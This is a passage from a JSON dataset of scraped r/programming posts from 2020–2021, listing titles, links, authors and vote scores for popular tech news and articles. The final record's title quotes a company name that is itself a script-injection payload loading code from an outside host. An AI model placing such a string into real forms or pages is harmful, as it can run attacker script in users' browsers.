    "url": "https://www.supremecourt.gov/opinions/20pdf/18-956_d18f.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_mhxiuu",
  "url": "https://spectrum.ieee.org/the-institute/ieee-member-news/stop-calling-everything-ai-machinelearning-pioneer-says",
  "permalink": "https://www.reddit.com/r/programming/comments/mhxiuu/stop_calling_everything_ai_machinelearning/",
  "title": "Stop Calling Everything AI, Machine-Learning Pioneer Says",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4278,
  "upvoteRatio": 0.97,
  "numComments": 530,
  "createdAt": "2021-04-01T15:18:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spectrum.ieee.org/the-institute/ieee-member-news/stop-calling-everything-ai-machinelearning-pioneer-says",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_me9u0b",
  "url": "https://hbr.org/2016/12/if-your-boss-could-do-your-job-youre-more-likely-to-be-happy-at-work",
  "permalink": "https://www.reddit.com/r/programming/comments/me9u0b/employees_are_happier_when_led_by_people_with/",
  "title": "Employees are happier when led by people with deep expertise (2016)",
  "body": null,
  "author": "RedditStreamable",
  "subreddit": "programming",
  "score": 3863,
  "upvoteRatio": 0.98,
  "numComments": 220,
  "createdAt": "2021-03-27T08:33:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hbr.org/2016/12/if-your-boss-could-do-your-job-youre-more-likely-to-be-happy-at-work",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_md0x4p",
  "url": "https://www.bbc.com/news/business-56503741",
  "permalink": "https://www.reddit.com/r/programming/comments/md0x4p/new_alan_turing_50_note_design_is_revealed/",
  "title": "New Alan Turing £50 note design is revealed",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 3927,
  "upvoteRatio": 0.97,
  "numComments": 300,
  "createdAt": "2021-03-25T15:31:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bbc.com/news/business-56503741",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_m7pz7r",
  "url": "https://youtu.be/UsbBSttaJos",
  "permalink": "https://www.reddit.com/r/programming/comments/m7pz7r/i_wrote_an_algorithm_to_draw_portraits_from/",
  "title": "I wrote an algorithm to draw portraits from thread... thought you might enjoy!",
  "body": null,
  "author": "L-aerodyne",
  "subreddit": "programming",
  "score": 4619,
  "upvoteRatio": 0.95,
  "numComments": 131,
  "createdAt": "2021-03-18T12:43:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/UsbBSttaJos",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_m5yo7y",
  "url": "https://www.pcgamer.com/rockstar-thanks-gta-online-player-who-fixed-poor-load-times-official-update-coming/",
  "permalink": "https://www.reddit.com/r/programming/comments/m5yo7y/rockstar_thanks_gta_online_player_who_fixed_poor/",
  "title": "Rockstar thanks GTA Online player who fixed poor load times, official update coming",
  "body": null,
  "author": "IceBlast24",
  "subreddit": "programming",
  "score": 5109,
  "upvoteRatio": 0.98,
  "numComments": 442,
  "createdAt": "2021-03-16T02:17:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pcgamer.com/rockstar-thanks-gta-online-player-who-fixed-poor-load-times-official-update-coming/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_m37lt7",
  "url": "https://www.bleepingcomputer.com/news/software/7-zip-developer-releases-the-first-official-linux-version/",
  "permalink": "https://www.reddit.com/r/programming/comments/m37lt7/7zip_developer_releases_the_first_official_linux/",
  "title": "7-Zip developer releases the first official Linux version",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 4949,
  "upvoteRatio": 0.98,
  "numComments": 377,
  "createdAt": "2021-03-12T02:39:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bleepingcomputer.com/news/software/7-zip-developer-releases-the-first-official-linux-version/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lzyg7f",
  "url": "https://spectrum.ieee.org/automaton/aerospace/robotic-exploration/nasa-designed-perseverance-helicopter-rover-fly-autonomously-mars",
  "permalink": "https://www.reddit.com/r/programming/comments/lzyg7f/linux_is_now_on_mars_and_available_on_github/",
  "title": "Linux is now on Mars and available on github",
  "body": null,
  "author": "emasculine",
  "subreddit": "programming",
  "score": 3074,
  "upvoteRatio": 0.97,
  "numComments": 238,
  "createdAt": "2021-03-07T20:04:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spectrum.ieee.org/automaton/aerospace/robotic-exploration/nasa-designed-perseverance-helicopter-rover-fly-autonomously-mars",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lyvpai",
  "url": "https://twitter.com/RachelTrue/status/1365461618977476610",
  "permalink": "https://www.reddit.com/r/programming/comments/lyvpai/last_name_true_broke_icloud/",
  "title": "Last Name “True” broke iCloud",
  "body": null,
  "author": "amirsadeghi",
  "subreddit": "programming",
  "score": 4141,
  "upvoteRatio": 0.98,
  "numComments": 497,
  "createdAt": "2021-03-06T06:23:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/RachelTrue/status/1365461618977476610",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lwy1ki",
  "url": "https://gist.github.com/RobertAKARobin/a1cba47d62c009a378121398cc5477ea",
  "permalink": "https://www.reddit.com/r/programming/comments/lwy1ki/python_is_not_a_great_programming_language_11/",
  "title": "Python is not a great programming language: 11 reasons.",
  "body": null,
  "author": "robertgfthomas",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.52,
  "numComments": 59,
  "createdAt": "2021-03-03T16:33:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/RobertAKARobin/a1cba47d62c009a378121398cc5477ea",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_luq9oz",
  "url": "https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/",
  "permalink": "https://www.reddit.com/r/programming/comments/luq9oz/how_i_cut_gta_online_loading_times_by_70/",
  "title": "How I cut GTA Online loading times by 70%",
  "body": null,
  "author": "simspelaaja",
  "subreddit": "programming",
  "score": 19029,
  "upvoteRatio": 0.97,
  "numComments": 992,
  "createdAt": "2021-02-28T20:57:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lpzpg9",
  "url": "https://kjzz.org/content/1660988/whistleblowers-software-bug-keeping-hundreds-inmates-arizona-prisons-beyond-release",
  "permalink": "https://www.reddit.com/r/programming/comments/lpzpg9/whistleblowers_software_bug_keeping_hundreds_of/",
  "title": "Whistleblowers: Software Bug Keeping Hundreds Of Inmates In Arizona Prisons Beyond Release Dates",
  "body": null,
  "author": "KingStannis2020",
  "subreddit": "programming",
  "score": 3646,
  "upvoteRatio": 0.98,
  "numComments": 320,
  "createdAt": "2021-02-22T20:58:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kjzz.org/content/1660988/whistleblowers-software-bug-keeping-hundreds-inmates-arizona-prisons-beyond-release",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lnhcrc",
  "url": "https://daniel.haxx.se/blog/2021/02/19/i-will-slaughter-you/",
  "permalink": "https://www.reddit.com/r/programming/comments/lnhcrc/i_will_slaughter_you_daniel_stenberg_got_a_quite/",
  "title": "I WILL SLAUGHTER YOU - Daniel Stenberg got a quite upsetting email for writing curl",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 3048,
  "upvoteRatio": 0.97,
  "numComments": 484,
  "createdAt": "2021-02-19T14:37:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://daniel.haxx.se/blog/2021/02/19/i-will-slaughter-you/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_lmfi3b",
  "url": "https://arstechnica.com/?post_type=post&p=1743040",
  "permalink": "https://www.reddit.com/r/programming/comments/lmfi3b/citibank_just_got_a_500_million_lesson_in_the/",
  "title": "Citibank just got a $500 million lesson in the importance of UI design",
  "body": null,
  "author": "lwl",
  "subreddit": "programming",
  "score": 6772,
  "upvoteRatio": 0.97,
  "numComments": 759,
  "createdAt": "2021-02-18T06:10:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/?post_type=post&p=1743040",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_l9i7fz",
  "url": "https://github.com/returntocorp/semgrep/issues/2409",
  "permalink": "https://www.reddit.com/r/programming/comments/l9i7fz/i_am_a_dev_at_a_fortune_500_and_my_manager_is_an/",
  "title": "\"I am a dev at a Fortune 500 and my manager is an a@@ h@@@ who doesn't understand or cares about security\"",
  "body": null,
  "author": "iterablewords",
  "subreddit": "programming",
  "score": 3351,
  "upvoteRatio": 0.96,
  "numComments": 439,
  "createdAt": "2021-01-31T18:18:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/returntocorp/semgrep/issues/2409",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_l4ws93",
  "url": "https://github.com/moneytoo/Player/issues/37",
  "permalink": "https://www.reddit.com/r/programming/comments/l4ws93/app_suspended_from_google_play_for_listing/",
  "title": "App suspended from Google Play for listing supported subtitle formats - one of which was the ASS format",
  "body": null,
  "author": "old-man-of-the-c",
  "subreddit": "programming",
  "score": 3509,
  "upvoteRatio": 0.98,
  "numComments": 351,
  "createdAt": "2021-01-25T20:31:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/moneytoo/Player/issues/37",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_l22w5o",
  "url": "https://www.raspberrypi.org/blog/raspberry-pi-silicon-pico-now-on-sale/",
  "permalink": "https://www.reddit.com/r/programming/comments/l22w5o/meet_raspberry_silicon_raspberry_pi_pico_now_on/",
  "title": "Meet Raspberry Silicon: Raspberry Pi Pico now on sale at $4",
  "body": null,
  "author": "kurtstir",
  "subreddit": "programming",
  "score": 3152,
  "upvoteRatio": 0.98,
  "numComments": 366,
  "createdAt": "2021-01-21T17:18:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.raspberrypi.org/blog/raspberry-pi-silicon-pico-now-on-sale/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kz68tl",
  "url": "https://gomox.medium.com/google-safe-browsing-can-kill-your-startup-7d73c474b98d",
  "permalink": "https://www.reddit.com/r/programming/comments/kz68tl/a_fresh_new_avenue_for_google_to_kill_your_saas/",
  "title": "A fresh new avenue for Google to kill your SaaS startup: Google Safe Browsing",
  "body": null,
  "author": "alexeyr",
  "subreddit": "programming",
  "score": 3361,
  "upvoteRatio": 0.96,
  "numComments": 515,
  "createdAt": "2021-01-17T13:14:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gomox.medium.com/google-safe-browsing-can-kill-your-startup-7d73c474b98d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kyhofq",
  "url": "https://youtu.be/v7eHTNm1YtU",
  "permalink": "https://www.reddit.com/r/programming/comments/kyhofq/youtuber_runs_viewersubmitted_python_code_to/",
  "title": "YouTuber runs viewer-submitted Python code to light up 500 LEDs in Christmas tree",
  "body": null,
  "author": "TimvdLippe",
  "subreddit": "programming",
  "score": 3768,
  "upvoteRatio": 0.96,
  "numComments": 235,
  "createdAt": "2021-01-16T11:55:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/v7eHTNm1YtU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kvqy4z",
  "url": "https://laconicml.com/computer-science-curriculum-youtube-videos/",
  "permalink": "https://www.reddit.com/r/programming/comments/kvqy4z/entire_computer_science_curriculum_in_1000/",
  "title": "Entire Computer Science Curriculum in 1000 YouTube Videos",
  "body": null,
  "author": "m3t3kh4n",
  "subreddit": "programming",
  "score": 6934,
  "upvoteRatio": 0.96,
  "numComments": 427,
  "createdAt": "2021-01-12T12:42:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://laconicml.com/computer-science-curriculum-youtube-videos/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ks24d0",
  "url": "https://www.zdnet.com/article/nissan-source-code-leaked-online-after-git-repo-misconfiguration/",
  "permalink": "https://www.reddit.com/r/programming/comments/ks24d0/nissan_source_code_leaked_online_after_git_repo/",
  "title": "Nissan source code leaked online after Git repo misconfiguration",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 4219,
  "upvoteRatio": 0.98,
  "numComments": 377,
  "createdAt": "2021-01-07T01:16:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/nissan-source-code-leaked-online-after-git-repo-misconfiguration/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kr4c5e",
  "url": "https://github.blog/2021-01-05-advancing-developer-freedom-github-is-fully-available-in-iran/",
  "permalink": "https://www.reddit.com/r/programming/comments/kr4c5e/github_is_now_usable_in_iran_after_acquiring_a_us/",
  "title": "GitHub is now usable in Iran, after acquiring a US government license",
  "body": null,
  "author": "kirbyfan64sos",
  "subreddit": "programming",
  "score": 2956,
  "upvoteRatio": 0.97,
  "numComments": 281,
  "createdAt": "2021-01-05T18:26:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/2021-01-05-advancing-developer-freedom-github-is-fully-available-in-iran/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kpq460",
  "url": "https://www.theregister.com/2020/06/01/linux_5_7/",
  "permalink": "https://www.reddit.com/r/programming/comments/kpq460/linus_torvalds_rails_against_80characterlines_as/",
  "title": "Linus Torvalds rails against 80-character-lines as a de facto programming standard",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 5839,
  "upvoteRatio": 0.94,
  "numComments": 1141,
  "createdAt": "2021-01-03T18:42:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2020/06/01/linux_5_7/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kodfz0",
  "url": "https://www.youtube.com/watch?v=K7hIrw1BUck",
  "permalink": "https://www.reddit.com/r/programming/comments/kodfz0/4_million_computers_compromised_zooms_biggest/",
  "title": "4 Million Computers Compromised: Zoom's Biggest Security Scandal Explained",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 3405,
  "upvoteRatio": 0.96,
  "numComments": 312,
  "createdAt": "2021-01-01T15:54:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=K7hIrw1BUck",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kmcntc",
  "url": "https://www.youtube.com/watch?v=p8u_k2LIZyo",
  "permalink": "https://www.reddit.com/r/programming/comments/kmcntc/quake_iiis_fast_inverse_square_root_explained_20/",
  "title": "Quake III's Fast Inverse Square Root Explained [20 min]",
  "body": null,
  "author": "mrnacknime",
  "subreddit": "programming",
  "score": 3702,
  "upvoteRatio": 0.97,
  "numComments": 300,
  "createdAt": "2020-12-29T11:27:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=p8u_k2LIZyo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kgwue7",
  "url": "https://home.cern/science/computing/birth-web",
  "permalink": "https://www.reddit.com/r/programming/comments/kgwue7/the_web_is_30_years_old_today/",
  "title": "The web is 30 years old today",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 4072,
  "upvoteRatio": 0.95,
  "numComments": 232,
  "createdAt": "2020-12-20T16:22:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://home.cern/science/computing/birth-web",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kf3aam",
  "url": "https://github.blog/2020-12-17-no-cookie-for-you/",
  "permalink": "https://www.reddit.com/r/programming/comments/kf3aam/no_cookie_for_you_the_github_blog/",
  "title": "No cookie for you - The GitHub Blog",
  "body": null,
  "author": "alibix",
  "subreddit": "programming",
  "score": 3394,
  "upvoteRatio": 0.97,
  "numComments": 343,
  "createdAt": "2020-12-17T18:39:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/2020-12-17-no-cookie-for-you/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ke1vh7",
  "url": "https://news.mit.edu/2020/brain-reading-computer-code-1215",
  "permalink": "https://www.reddit.com/r/programming/comments/ke1vh7/to_the_brain_reading_computer_code_is_not_the/",
  "title": "To the brain, reading computer code is not the same as reading language",
  "body": null,
  "author": "remind_me_later",
  "subreddit": "programming",
  "score": 4395,
  "upvoteRatio": 0.95,
  "numComments": 546,
  "createdAt": "2020-12-16T04:02:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://news.mit.edu/2020/brain-reading-computer-code-1215",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kcwqij",
  "url": "https://www.google.com/appsstatus#hl=en&v=status",
  "permalink": "https://www.reddit.com/r/programming/comments/kcwqij/every_single_google_service_is_currently_out/",
  "title": "Every single google service is currently out, including their cloud console. Let's take a moment to feel the pain of their devops team",
  "body": null,
  "author": "The_Grandmother",
  "subreddit": "programming",
  "score": 6551,
  "upvoteRatio": 0.95,
  "numComments": 574,
  "createdAt": "2020-12-14T12:27:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.google.com/appsstatus#hl=en&v=status",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_kahvfd",
  "url": "https://threadreaderapp.com/thread/1336890442768547845.html",
  "permalink": "https://www.reddit.com/r/programming/comments/kahvfd/former_uber_engineer_shares_biggest_engineering/",
  "title": "Former Uber engineer shares “biggest engineering disaster” story",
  "body": null,
  "author": "azhenley",
  "subreddit": "programming",
  "score": 3836,
  "upvoteRatio": 0.97,
  "numComments": 636,
  "createdAt": "2020-12-10T16:01:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://threadreaderapp.com/thread/1336890442768547845.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_k98u6v",
  "url": "https://github.com/settings/appearance",
  "permalink": "https://www.reddit.com/r/programming/comments/k98u6v/github_dark_mode_is_here/",
  "title": "Github dark mode is here",
  "body": null,
  "author": "madhur_ahuja",
  "subreddit": "programming",
  "score": 4104,
  "upvoteRatio": 0.96,
  "numComments": 301,
  "createdAt": "2020-12-08T17:42:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/settings/appearance",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_k5cbln",
  "url": "https://mtlynch.io/code-review-love/",
  "permalink": "https://www.reddit.com/r/programming/comments/k5cbln/how_to_make_your_code_reviewer_fall_in_love_with/",
  "title": "How to Make Your Code Reviewer Fall in Love with You",
  "body": null,
  "author": "mtlynch",
  "subreddit": "programming",
  "score": 3127,
  "upvoteRatio": 0.97,
  "numComments": 173,
  "createdAt": "2020-12-02T16:20:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mtlynch.io/code-review-love/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_k4wa47",
  "url": "https://googleprojectzero.blogspot.com/2020/12/an-ios-zero-click-radio-proximity.html",
  "permalink": "https://www.reddit.com/r/programming/comments/k4wa47/an_ios_zeroclick_radio_proximity_exploit_odyssey/",
  "title": "An iOS zero-click radio proximity exploit odyssey - an unauthenticated kernel memory corruption vulnerability which causes all iOS devices in radio-proximity to reboot, with no user interaction",
  "body": null,
  "author": "TimvdLippe",
  "subreddit": "programming",
  "score": 3050,
  "upvoteRatio": 0.98,
  "numComments": 366,
  "createdAt": "2020-12-01T22:53:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://googleprojectzero.blogspot.com/2020/12/an-ios-zero-click-radio-proximity.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_k16g2e",
  "url": "https://github.com/isaacs/github/issues/66#issuecomment-733446758",
  "permalink": "https://www.reddit.com/r/programming/comments/k16g2e/dark_mode_coming_to_github_after_7_years/",
  "title": "Dark Mode Coming to GitHub After 7 Years",
  "body": null,
  "author": "rxsel",
  "subreddit": "programming",
  "score": 6090,
  "upvoteRatio": 0.97,
  "numComments": 357,
  "createdAt": "2020-11-26T02:22:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/isaacs/github/issues/66#issuecomment-733446758",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jyywms",
  "url": "https://news.ycombinator.com/item?id=22918980",
  "permalink": "https://www.reddit.com/r/programming/comments/jyywms/im_a_software_engineer_going_blind_how_should_i/",
  "title": "I'm a software engineer going blind, how should I prepare?",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 3160,
  "upvoteRatio": 0.97,
  "numComments": 245,
  "createdAt": "2020-11-22T16:55:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://news.ycombinator.com/item?id=22918980",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jyby66",
  "url": "https://vkontech.com/clash-of-styles-part-5-double-dispatch-or-when-to-abandon-oop/",
  "permalink": "https://www.reddit.com/r/programming/comments/jyby66/oop_is_established_to_the_point_that_we_sometimes/",
  "title": "OOP is established to the point that we sometimes follow absurdly complicated “idiomatic” patterns(tricks). One example is the Double Dispatch technique, which is a quite puzzling chain of polymorphic calls. Let’s see it in action and compare it to a quite elegant Functional alternative.",
  "body": null,
  "author": "Vasilkosturski",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 60,
  "createdAt": "2020-11-21T14:50:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vkontech.com/clash-of-styles-part-5-double-dispatch-or-when-to-abandon-oop/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jvrpvj",
  "url": "https://boonepeter.github.io/posts/2020-11-10-spotify-codes/",
  "permalink": "https://www.reddit.com/r/programming/comments/jvrpvj/how_spotify_codes_work/",
  "title": "How Spotify Codes work",
  "body": null,
  "author": "CHM_3_9",
  "subreddit": "programming",
  "score": 3531,
  "upvoteRatio": 0.98,
  "numComments": 125,
  "createdAt": "2020-11-17T11:53:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://boonepeter.github.io/posts/2020-11-10-spotify-codes/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jv7kls",
  "url": "https://github.com/ytdl-org/youtube-dl",
  "permalink": "https://www.reddit.com/r/programming/comments/jv7kls/youtubedls_repository_has_been_restored/",
  "title": "YouTube-dl's repository has been restored.",
  "body": null,
  "author": "jiayounokim",
  "subreddit": "programming",
  "score": 5561,
  "upvoteRatio": 0.98,
  "numComments": 515,
  "createdAt": "2020-11-16T14:24:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/ytdl-org/youtube-dl",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jpdo21",
  "url": "https://www.theguardian.com/uk-news/2020/nov/06/companies-house-forces-business-name-change-to-prevent-security-risk",
  "permalink": "https://www.reddit.com/r/programming/comments/jpdo21/company_named_script_srchttpsmjtxssht_ltd_forced/",
  "title": "Company named \"><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD forced to change its name by the Companies House",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
